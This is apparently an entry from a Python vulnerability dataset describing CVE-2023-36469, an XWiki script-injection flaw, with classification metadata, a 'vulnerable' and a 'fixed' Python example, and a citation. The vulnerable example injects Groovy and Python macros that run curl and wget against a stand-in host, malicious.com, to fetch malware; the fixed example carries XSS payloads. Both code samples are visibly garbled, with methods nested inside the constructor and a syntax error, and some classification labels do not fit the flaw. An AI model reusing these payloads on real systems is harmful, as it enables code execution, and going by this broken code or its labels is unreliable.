CVE-2023-36469

XWiki Platform: Arbitrary Script Execution

• CVSS 8.8
• CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
• Input Validation and Sanitization
• Remote

XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Any user who can edit their own user profile and notification settings can execute arbitrary script macros including Groovy and Python macros that allow remote code execution including unrestricted read and write access to all wiki contents. This has been patched in XWiki 14.10.6 and 15.2RC1. Users are advised to update. As a workaround the main security fix can be manually applied by patching the affected document `XWiki.Notifications.Code.NotificationRSSService`. This will break the link to the differences, though as this requires additional changes to Velocity templates as shown in the patch. While the default template is available in the instance and can be easily patched, the template for mentions is contained in a `.jar`-file and thus cannot be fixed without replacing that jar.

CVE

CVE-2023-36469

CWE

CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

CVSS base score

8.8

Published

2023-06-29

OWASP

A05 Security Misconfiguration

Orthogonal defect classification

Function

Code defect classification

Incorrect Functionality

Category

Input Validation and Sanitization

Subcategory

Insecure Direct Object References (IDOR)

Accessibility scope

Remote

Impact

Arbitrary Code Execution

Fixed by upgrading

Yes

Solution

Update XWiki to version 14.10.6 or 15.2RC1.

import os

class UserProfile:
    def __init__(self, username):
        """Vulnerable function that demonstrates the security issue."""
        self.username = username
        self.profile_data = {}
        self.notifications_settings = {}

        def edit_profile(self, new_data):
            """Vulnerable function that demonstrates the security issue."""
            self.profile_data = new_data

            def edit_notifications(self, new_settings):
                """Vulnerable function that demonstrates the security issue."""
                self.notifications_settings = new_settings

                user = UserProfile("example_user")
                user.edit_profile("{{groovy: new java.lang.Runtime().exec('curl http://malicious.com')}}")
                user.edit_notifications("{{python: os.system('wget http://malicious.com/malware')}}")

                print(user.profile_data)
                print(user.notifications_settings)

import html

class UserProfile:
    def __init__(self, username):
        """Secure function that fixes the vulnerability."""
        self.username = username
        self.profile_data = {}
        self.notifications_settings = {}

        def edit_profile(self, new_data):
            """Secure function that fixes the vulnerability."""
            self.profile_data = self.sanitize_input(new_data)

            def edit_notifications(self, new_settings):
                """Secure function that fixes the vulnerability."""
                self.notifications_settings = self.sanitize_input(new_settings)

                def sanitize_input(self, input_data):
                    """Secure function that fixes the vulnerability."""
                    if isinstance(input_data, dict):
                        return {key: html.escape(str(value)) for key, value in input_data.items()}:
                        return html.escape(str(input_data))

                        user = UserProfile("example_user")
                        user.edit_profile({"bio": "<script>alert('Hacked!');</script>", "status": "Happy <b>user</b>"})
                        user.edit_notifications({"email": "<img src=x onerror=alert(1)>", "sms": "<svg/onload=alert(2)>"})

                        print(user.profile_data)
                        print(user.notifications_settings)

@misc{vaitp:cve202336469,
  title        = {{XWiki Platform: Arbitrary Script Execution}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2023},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2023-36469},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2023-36469/}}
}